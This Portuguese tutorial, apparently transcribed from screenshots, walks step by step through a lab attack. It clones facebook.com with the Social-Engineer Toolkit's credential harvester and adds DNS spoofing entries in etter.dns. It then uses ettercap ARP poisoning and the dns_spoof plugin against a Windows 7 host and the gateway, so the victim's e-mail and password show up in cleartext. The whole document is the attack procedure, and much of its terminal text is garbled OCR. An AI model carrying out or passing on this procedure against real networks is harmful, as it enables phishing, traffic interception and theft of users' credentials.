Passo 01
Abra o aplicativo SET através do menu: Applications > Kali Linux > Exploitation Tools > Social Engineering Toolkit > se-toolkit

Digite o numero 1 Social-Engineering Attacks

Terminal

File Edit View Search Terminal Help

|Z__'|_'-|_ -E'
for al

Join us on irc.free
The Social-Engineer Toolkit is a product of TrustedSec,
Visit: https://www,trustedsec.com

et from the menu:

99) Exit the




Passo 02
Digite o numero 2 Website Attack Vectors

Terminal

File Edit View Search Terminal Help

Join us on irc.freen .ne #: olkit

The Social-Engineer Toolkit is a product of TrustedSec.

Visit: https://www.trustedsec.com

ct from the menu:

Return back to the main menu.




Passo 03
Digite o numero 3 Credential Harvester Attack Method

Terminal

File Edit View Search Terminal Help

- e highl
up th

ombination o
menu . npL Ei the Java A ,
al Harvester/Tabnabbing, e Man Left in the |

ploit B
lential Har

Web J
Multi




Passo 04
Digite o numero 2 Site Cloner

Terminal

File Edit View Search Terminal Help

=

/) Create or import a ( signing Certificate

Return to Main Menu

Return




Passo 05
Digite o IP do atacante host KALI 10.10.10.130
Terminal

File Edit View Search Terminal Help
applications that it can utiliz ithin the attack.

t you

ntial harvester will allow you to utilize the clone capabilitie

ntials or parameters from s e as well as place

what IP
nal IP,

within

them in




Passo 06
Digite o endereco do site que deseja clonar no exemplo: www.facebook.com

Terminal

File Edit View Search Terminal Help

ential harvester will alle

server will POST to.
ernal IP for this

13.130
th HTTP




Passo 07
Toda estrutura esta pronta para visualizar as informacdes, este terminal deve ficar aberto.

Terminal

File Edit View Search Terminal Help
3) m Imp

Return to Webattack Menu




Passo 08
Edite o arquivo etter.dns para adicionar o novo destino da url www.facebook.com

root@kali: /

File Edit View Search Terminal Help




Passo 09
Insira as linhas e salve o arquivo

# FACEBOOK facebook.com A 10.10.10.130



*.facebook.com A 10.10.10.130 www.facebook.com PTR 10.10.10.130
etter.dns + (fusr/share/ettercap) - VIM

File Edit View Search Terminal Help

# Wildcards in PTR are not allowec




Passo 10
Certifique-se qual é o Gateway da rede usando o comando route

root@kali: /

File Edit View Search Terminal Help

nation t

b
:fault 10.10.10.2

EY




Passo 11

Abra o aplicativo ettercap através do menu: Applications > Kali Linux > Sniffing/Spoofing > Network Sniffers > ettercap-

graphical

Cliqgue em Sniff > Unified sniffing...

ettercap NG-0.7.4.2 Hljlj

Help

File | -~/ | Options
Unified sniffing... Shift+U
Bridged sniffing... Shift+B

Set pcap filter...

dﬁiﬂ D D

b




Passo 12

Selecione a Interface de Rede> ethO

File 5niff Options Help

ettercap Input

é Metwork interface ! |eth0

u |

{ oK H Cancel ‘




Passo 13

Clique em Hosts > Scan for hosts

Start Targets 0 View Mitm Filters Logging Plugins Help

ettercap NG-0.7.4.2 Hliilj

Hosts List H
Scan for hosts Ctrl+5
Load from file... Ctrl+0

Save to file... Ctrl+5
FEICE -
L

28 plugins

41 protocol dissectors

56 ports monitored

7587 mac vendor fingerprint
1766 tcp OS5 fingerprint
2183 known services

<]




Passo 14

4 Hosts foram encontrados, Clique em Hosts > Hosts list para visualiza-los

ettercap NG-0.7.4.2 HILJI.J

Start Targets - View Mitm Filters Logging Plugins Help

Scan for hosts Ctrl+5

Load from file... Ctrl4+0

Save to file... Ctrl+5 >
FEITERCAP!

/587 mac vendor fingerprint
1766 tcp OS5 fingerprint
2183 known services

[>)

Fandomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
4 hosts added to the hosts List...




Passo 15

Selecione os hosts Gateway ( 10.10.10.2 ) e WIN-7 ( 10.10.10.134 ) e clique em Add to Target 2

ettercap NG-0.7.4.2 -ﬂﬂ

Start Targets Hosts View Mitm Filters Logging FPlugins Help

Host List M

IP Address MAC Address Description

10.10.10.1 00:50:56:C0O:00:08
10.10.10.2 00:50:56:EC: 28:BE

10.10.10.134 00:0C:29:17:65:14
10.10.10.254 00:50:56:.EF71:A4

Delete Host H Add to Target 1 ‘[ Add to Target 2

Z183 known services

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
4 hosts added to the hosts list...

Host 10.10.10.134 added to TARGET 2
Host 10.10.10.2 added to TARGET2




Passo 16

Clique em Plugins > Manage the plugins

ettercap NG-0.7.4.2

Host List |

IP Address | MAC Address Description

Start Targets Hosts View Mitm Filters Logging | |

Manage the plugins
Load a plugin...

Ctrl+P

Ctrl+0

10.10.10.1 00:50:56: C0:00:08

10.10.10.2 00:50:56:EC: 28:BE

10.10.10.134 00:0C:29:17:65:14
10.10.10.254 00:50:56:EF.71:A4

Delete Host H Add to Target 1

Add to Target 2

2183 known services

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
4 hosts added to the hosts list...

Host 10.10.10.134 added to TARGET2
Host 10.10.10.2 added to TARGET 2




Passo 17

De um duplo-clique em dns_spoof para ativar o plugin

ettercap NG-0.7.4.2 -ﬂﬂ

Start Targets Hosts View Mitm Filters Logging Plugins Help

Host List ® | Plugins W |

Mame Wersion Info
arp_cop 1.1 Report suspicious ARP activity [
autoadd 1.2 Automatically add new victims in the target range
chk_poison 11 Check if the poisoning had success

* dns_spoof 11 Sends spoofed dns replies
dos_attack 1.0 Run a d.o.s. attack against an IP address
dummy 3.0 A plugin template (for developers)
find_conn 1.0 Search connections on a switched LAN

Fandomizing £55 hosts for scanning...
Scanning the whole netmask for 255 hosts...
4 hosts added to the hosts list...

Host 10.10.10.134 added to TARGET 2
Host 10.10.10.2 added to TARGET2
Activating dns_spoof plugin...




Passo 18

Cligue em Mitm > Arp poisoning...

Start Targets

Hosts

ettercap NG-0.7.4.2 -En

View | .. | Filters Logging Plugins Help

Host List ® | Plugins M |

Arp poisoning...

lcmp redirect...

Port stealing...

Dhep spoofing...

in the target range
Stop mitm attack(s) cess

Sends spoofed dns replies
Run a d.o.s. attack against an P address

A plugin template (for developers)

Mame | ‘u"ersiun| |
arp_cop 1.1 E
autoadd 1.2 A
chk_poison 11 C
* dns_spoof 11
dos_attack 1.0
durmmy 3.0
find_conn 1.0

Search connections on a switched LAN

Fandomizing £55 hosts for scanning...
Scanning the whole netmask for 255 hosts...
4 hosts added to the hosts list...
Host 10.10.10.134 added to TARGET2
Host 10.10.10.2 added to TARGET2
Activating dns_spoof plugin...




Passo 19

Selecione a opcdo Sniff remote conections

Start Targets Hosts

Host List ® | Plugins M |

View Mitm Filters Logging Plugins

Help

Kandomizing £55 hosts

Name Wersion | Info
arp-cop 11 Report suspicious ARP activity
autoadd 1 target range
MITM Attack: ARP Poisoning (as nobody)
chik_poison 1
é Optional parameters————— _
dos_attack 1 Sniff remote connections. | __
dummy 3 L] Only poison one-way.
find_conn 1 N

{ 8] 4 J ‘ Cancel

(<]

Scanning the whole netmask for 255 hosts...
4 hosts added to the hosts List...

Host 10.10.10.134 added to TARGET 2
Host 10.10.10.2 added to TARGET 2
Activating dns_spoof plugin...

[»)




Passo 20

O grupo com os hosts é criado

Start Targets Hosts View Mitm Filters Logging Plugins Help

ettercap NG-0.7.4.2 -ﬂﬂ

Host List ® | Plugins W |

Mame | ‘u"ersiun| Info
arp_cop 1.1 Report suspicious ARP activity
autoadd 1.2 Automatically add new victims in the target range
chk_poison 11 Check if the poisoning had success
* dns_spoof 11 Sends spoofed dns replies
dos_attack 1.0 Run a d.o.s. attack against an IP address
dummy 3.0 A plugin template (for developers)
find_conn 1.0 Search connections on a switched LAN

B

ARF poisoning victims:
GROUP 1 : ANY (all the hosts in the list)

GROUP 2:10.10.10.134 00:0C:29:17:65:14
GROUP 2:10.10.10.2 00:50:56:EC: 28:BE




Passo 21

Clique em Start > Start sniffing

- | Targets Hosts View Mitm Filters Logging Plugins Help

ettercap NG-0.7.4.2 -ﬂn

Start sniffing Ctri+W

Stop sniffing Ctri+E
Info
Exit Ctrli+X | Report suspicious ARP activity
autoadd 1.2 Automatically add new victims in the target range
chk_poison 11 Check if the poisoning had success
* dns_spoof 11 Sends spoofed dns replies
dos_attack 1.0 Run a d.o.s. attack against an IP address
dummy 3.0 A plugin template (for developers)
find_conn 1.0 Search connections on a switched LAN ~

ARF polsoning victims:
GROUP 1: ANY (all the hosts in the list)

GROUP 2:10.10.10.134 00:0C:29:17:65:14
GROUP 2:10.10.10.2 00:50:56:EC. 28:BE




Passo 22

O sniffing é iniciado

Start Targets Hosts View Mitm Filters Logging Plugins Help

ettercap NG-0.7.4.2 -ﬂﬂ

Host List ® | Plugins M |

Mame | ‘u"ersiun| Info
arp_cop 1.1 Report suspicious ARP activity
autoadd 1.2 Automatically add new victims in the target range
chk_poison 11 Check if the poisoning had success
* dns_spoof 11 Sends spoofed dns replies
dos_attack 1.0 Run a d.o.s. attack against an P address
durmmy 3.0 A plugin template (for developers)
find_conn 1.0 Search connections on a switched LAN

B

GHOUF 1 ANY (all the hosts in the List)

GROUP 2:10.10.10.134 00:0C:29:17:65:14
GROUP 2:10.10.10.2 00:50:56:EC. 28:BE
Starting Unified sniffing...




Passo 23

No host WINDOWS-7 (10.10.10.134 ) acesse o site www.facebook.com e informe o e-mail e senha de acesso
Passo 24
Volte a tela do passo 07 e visualize que o usuario e senha sao explicitamente exibidos

Passo 25

Ao pressionar as teclas CTRL + C um relatério € gerado no caminho: /root/.set/reports



Passo 26

Para visualizar estes arquivos ative o modo de exibi¢ao de arquivos ocultos View > Show Hidden Files

reports -ﬂﬁ

File Edit View Go Bookmarks Help

Devices % EalFome  =ot @ t * Q, search
|—I Floppy Drive :
m— .
Computer ﬁ @
i Home files 2013-09-17 2013-09-17
Desktop 21:29:19.693301. 21:29:19.693301.
_— html xml
(& File System
E Trash
MNetwork

Browse Met...




